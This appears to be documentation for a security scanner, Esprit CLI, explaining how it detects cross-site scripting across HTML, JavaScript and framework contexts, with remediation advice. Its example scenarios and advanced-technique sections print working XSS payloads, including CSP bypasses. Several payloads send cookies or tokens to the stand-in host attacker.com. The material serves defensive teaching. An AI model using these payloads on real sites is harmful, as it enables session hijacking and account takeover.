Skip to main content
Esprit CLI detects cross-site scripting vulnerabilities across HTML, JavaScript, and framework-specific contexts. XSS persists because context, parser, and framework edges are complex.
Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).

Attack Surface Coverage

XSS Types

  • Reflected XSS - Input immediately rendered in response
  • Stored XSS - Payload persisted and rendered to other users
  • DOM-based XSS - Client-side JavaScript sinks without server involvement

Contexts Analyzed

Esprit understands injection in:
  • HTML text nodes
  • Attribute values (quoted and unquoted)
  • URL parameters and fragments
  • JavaScript strings and eval contexts
  • CSS style blocks
  • SVG/MathML markup
  • Markdown and rich text
  • PDF generation

Framework Support

  • React (dangerouslySetInnerHTML, JSX props)
  • Vue (v-html, dynamic attributes)
  • Angular (expression injection, $sce)
  • Svelte ({@html}, dynamic attributes)
  • Template engines (Jinja, EJS, Handlebars)

Injection Points

Esprit traces data flow from sources to dangerous sinks:

Server Render Sources

// Vulnerable: Template rendering
app.get('/profile', (req, res) => {
  const name = req.query.name;
  res.send(`<h1>Welcome ${name}</h1>`); // XSS!
});

// EJS template - VULNERABLE
<div><%- user.bio %></div>  // Unescaped

// Jinja template - VULNERABLE
<p>{{ user_input | safe }}</p>

Client Render Sinks

// VULNERABLE: Direct innerHTML assignment
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;

// VULNERABLE: React dangerouslySetInnerHTML
function Comment({ text }) {
  return <div dangerouslySetInnerHTML={{ __html: text }} />;
}

// VULNERABLE: Vue v-html
<div v-html="userContent"></div>

// VULNERABLE: Svelte @html
<div>{@html userMarkdown}</div>

DOM-Based Sources

// Common DOM XSS sources Esprit tracks:
- location.hash / location.search
- document.referrer
- postMessage payloads
- localStorage / sessionStorage
- document.cookie
- WebSocket messages

Context-Specific Detection

Esprit tailors payloads to the exact context:

HTML Node Context

<!-- Vulnerable: User input in text node -->
<p>Search results for: USER_INPUT</p>

<!-- Exploitation -->
<p>Search results for: <img src=x onerror=alert(document.domain)></p>

Attribute Context

<!-- Vulnerable: Unescaped attribute -->
<input value="USER_INPUT">

<!-- Exploitation -->
<input value="" autofocus onfocus=alert(1) x="">

<!-- Unquoted attributes -->
<div class=USER_INPUT>

<!-- Exploitation -->
<div class=x onmouseover=alert(1)>

JavaScript Context

// Vulnerable: String interpolation in script
<script>
  var query = "USER_INPUT";
</script>

// Exploitation
<script>
  var query = ""; alert(document.cookie); //";
</script>

URL Context

<!-- Vulnerable: User input in href -->
<a href="USER_INPUT">Click</a>

<!-- Exploitation -->
<a href="javascript:fetch('//attacker.com?c='+document.cookie)">Click</a>
Esprit validates that user input in URL attributes are limited to safe schemes (https, mailto, tel) and disallows javascript: and data: URIs.

Framework-Specific Vulnerabilities

React XSS

// Vulnerable: dangerouslySetInnerHTML
function UserBio({ bio }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: bio }} />
  );
}

// Vulnerable: Unsanitized URL
function ProfileLink({ url }) {
  return <a href={url}>Profile</a>; // javascript: URL possible
}

// Vulnerable: Event handler from props
function Button({ onClick }) {
  return <button onClick={onClick}>Click</button>;
  // If onClick comes from untrusted source
}
Esprit detection: Traces bio and url props to their sources and validates sanitization.

Vue XSS

<!-- Vulnerable: v-html directive -->
<template>
  <div v-html="userComment"></div>
</template>

<!-- Vulnerable: Dynamic attribute binding -->
<a :href="userLink">Link</a>

<!-- Vulnerable: SSR hydration mismatch -->
<div v-pre v-html="serverHtml"></div>

Angular XSS

// Vulnerable: Bypassing sanitizer
constructor(private sanitizer: DomSanitizer) {}

getSafeHtml(html: string) {
  return this.sanitizer.bypassSecurityTrustHtml(html); // Dangerous if html is user input
}

// Legacy AngularJS - VULNERABLE
<div ng-bind-html="userContent"></div>
{{constructor.constructor('alert(1)')(}}  // Expression injection

Advanced Attack Techniques

Mutation XSS (mXSS)

Leverage parser repairs to morph safe-looking markup:
<!-- Input appears safe -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>

<!-- After browser parsing -->
<noscript><p title=""></noscript><img src=x onerror=alert(1)>

Template Injection

// Vulnerable: Server-side template
const Handlebars = require('handlebars');
const template = Handlebars.compile('Hello {{name}}');
res.send(template({ name: req.query.name }));

// Exploitation with helper abuse
{{constructor.constructor('fetch("//attacker.com?c="+document.cookie)')()}}

CSP Bypass

Esprit tests CSP configurations:
// Weak CSP
Content-Security-Policy: script-src 'self' *.googleapis.com 'unsafe-inline'

// Bypass via JSONP endpoint
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert"></script>

// Bypass via base tag
<base href="https://attacker.com">
<script src="/trusted.js"></script>  // Loads from attacker.com
Weak CSP policies: missing nonces/hashes, wildcards in script-src, data:/blob: allowed, unsafe-inline, unsafe-eval

Trusted Types Bypass

// Misconfigured Trusted Types policy
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (input) => input // No sanitization!
  });
}

Example Scenarios

Scenario 1: Search Reflected XSS

// Vulnerable code: src/routes/search.js:23
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`
    <html>
      <body>
        <h1>Results for: ${query}</h1>
        <div id="results"></div>
      </body>
    </html>
  `);
});
Exploitation:
curl 'http://app.com/search?q=<img+src=x+onerror=alert(document.domain)>'
Impact: Session hijacking via cookie theft, credential phishing

Scenario 2: DOM-Based XSS

// Vulnerable code: src/public/app.js:112
function displayNotification() {
  const msg = new URLSearchParams(location.search).get('message');
  document.getElementById('notification').innerHTML = msg;
}
Exploitation:
http://app.com/?message=<svg/onload=fetch('//attacker.com/steal?c='+document.cookie)>
Impact: Token exfiltration, account takeover

Scenario 3: Stored XSS via Comment

// Vulnerable code: src/components/Comment.jsx:45
function Comment({ text, author }) {
  return (
    <div className="comment">
      <strong>{author}</strong>
      <div dangerouslySetInnerHTML={{ __html: text }} />
    </div>
  );
}
Exploitation: Post comment with payload:
<img src=x onerror="
  fetch('/api/users/me').then(r=>r.json()).then(u=>
    fetch('//attacker.com/collect?token='+u.token)
  )
">
Impact: All users viewing the comment have tokens exfiltrated

Remediation

Esprit recommends:

Use Framework Auto-Escaping

// SAFE: React auto-escapes by default
function Welcome({ name }) {
  return <h1>Welcome {name}</h1>;
}

// SAFE: Vue templates auto-escape
<template>
  <p>{{ userInput }}</p>
</template>

// SAFE: EJS escaped output
<div><%= user.bio %></div>

Sanitize HTML Input

// SAFE: Use DOMPurify for rich text
import DOMPurify from 'dompurify';

function RichContent({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href']
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Validate URL Schemes

// SAFE: Whitelist URL schemes
function isValidUrl(url) {
  try {
    const parsed = new URL(url);
    return ['http:', 'https:', 'mailto:'].includes(parsed.protocol);
  } catch {
    return false;
  }
}

function Link({ href, children }) {
  const safeHref = isValidUrl(href) ? href : '#';
  return <a href={safeHref}>{children}</a>;
}

Implement Strong CSP

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'nonce-{random}';
  img-src 'self' https:;
  object-src 'none';
  base-uri 'self';

Use Trusted Types

// Enable Trusted Types
if (window.trustedTypes && trustedTypes.createPolicy) {
  trustedTypes.createPolicy('default', {
    createHTML: (string) => DOMPurify.sanitize(string)
  });
}
Esprit validates CSP and Trusted Types configurations, testing for common bypass techniques.

Detection Output

Esprit provides context-aware findings:
[HIGH] DOM-based XSS in notification handler
Location: src/public/app.js:112
Context: innerHTML sink
Source: location.search

Data Flow:
  location.search → URLSearchParams.get('message') → innerHTML

Vulnerable Code:
  document.getElementById('notification').innerHTML = msg;

Proof:
  URL: /?message=<img+src=x+onerror=alert(1)>
  Result: Script execution confirmed

Impact:
  - Session token exfiltration
  - Credential phishing overlay
  - Persistent compromise via service workers

Remediation:
  Use textContent instead of innerHTML:
  document.getElementById('notification').textContent = msg;
  
  Or sanitize with DOMPurify:
  document.getElementById('notification').innerHTML = 
    DOMPurify.sanitize(msg);

Next Steps

SQL Injection

Detect database injection vulnerabilities

Authentication

Find JWT and session security issues

Build docs developers (and LLMs) love